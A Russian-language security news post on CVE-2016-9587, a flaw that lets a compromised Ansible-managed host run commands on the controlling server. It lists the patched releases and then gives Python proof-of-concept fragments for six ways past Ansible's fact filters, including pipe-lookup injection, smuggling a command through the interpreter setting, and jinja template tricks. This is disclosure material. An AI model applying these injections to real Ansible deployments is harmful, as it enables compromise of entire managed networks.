Серьёзная уязвимость в системе управления конфигурацией Ansible

В системе управления конфигурацией Ansible выявлена уязвимость (CVE-2016-9587), позволяющая организовать выполнение команд на стороне управляющего сервера Ansible (Controller) через манипуляции на подчинённых хостах. Например, в случае компрометации одного из клиентских серверов, конфигурация которого настраивается через Ansible, атакующие могут получить доступ к управляющему серверу и через него ко всем остальным управляемым через Ansible хостам сети. Проблема проявляется во всех выпусках Ansible и устранена в предварительных выпусках 2.1.4 и 2.2.1, которые пока имеют статус кандидатов в релизы. Исправление также доступно в виде патча.

Уязвимость связана с возможностью указания в числе возвращаемых клиентом атрибутов (Facts) операции lookup, позволяющей организовать выполнение кода, а также специальных атрибутов ansible_python_interpreter и ansible_connection, через которых можно передать код на языке Python и ссылку на хост для его выполнения. Атрибуты возвращаются клиентом в ответ на запрос от сервера и оформляются в формате JSON. Ansible пытается фильтровать опасные атрибуты, но исследователи нашли как минимум шесть способов для обхода имеющихся фильтров:

   PAYLOAD = "touch /tmp/foobarbaz"
   LOOKUP = "lookup('pipe', '%s')" % PAYLOAD
   INTERPRETER_FACTS = {
	'ansible_python_interpreter': '%s; cat  /dev/null; echo {}' % PAYLOAD,
	'ansible_connection': 'local',
	'ansible_become': False,
   }

Метод 1, подстановка атрибутов через передачу информации о новом хосте:

   data['add_host'] = {
    'host_name': socket.gethostname(),
    'host_vars': INTERPRETER_FACTS,
   }

Метод 2, через применение условных операторов:

   known_conditionals_str = """
   ansible_os_family == 'Debian'
   ansible_os_family == "Debian"
   ansible_os_family == 'RedHat'
   ansible_os_family == "RedHat"
   ansible_distribution == "CentOS"
   result|failed
   item  5
   foo is defined
   """
   known_conditionals = [x.strip() for x in   known_conditionals_str.split('n')]
   for known_conditional in known_conditionals:
       data['ansible_facts'][known_conditional] = LOOKUP

Метод 3, через подстановку в шаблоне для модуля stat:

   data.update({
       'stat': {
           'exists': True,
           'isdir': False,
           'checksum': {
               'rc': 0,
               'ansible_facts': INTERPRETER_FACTS,
           },
       }
   })

Метод 4, через подстановку шаблона с обходом экранирования при помощи синтаксиса jinja:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family':    "#jinja2:variable_start_string:'[[',variable_end_string:']]',block_start_string:'[%',block_end_string:'%]'n{{}}n[[ansible_host]][[lookup('pipe','"+PAYLOAD+"')]]",
})

Метод 5, через подстановку шаблона в словарных ключах:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family': { "{{ %s }}" % LOOKUP: ''},
   })

Метод 6, через подстановку шаблона с выполнением при помощи safe_eval:

   data['ansible_facts'].update({
       'exploit_set_fact': True,
       'ansible_os_family': """[ '{'*2 + "%s" + '}'*2 ]""" % LOOKUP,
   })

Добавить комментарий

Ваш адрес email не будет опубликован. Обязательные поля помечены *

Этот сайт использует Akismet для борьбы со спамом. Узнайте, как обрабатываются ваши данные комментариев.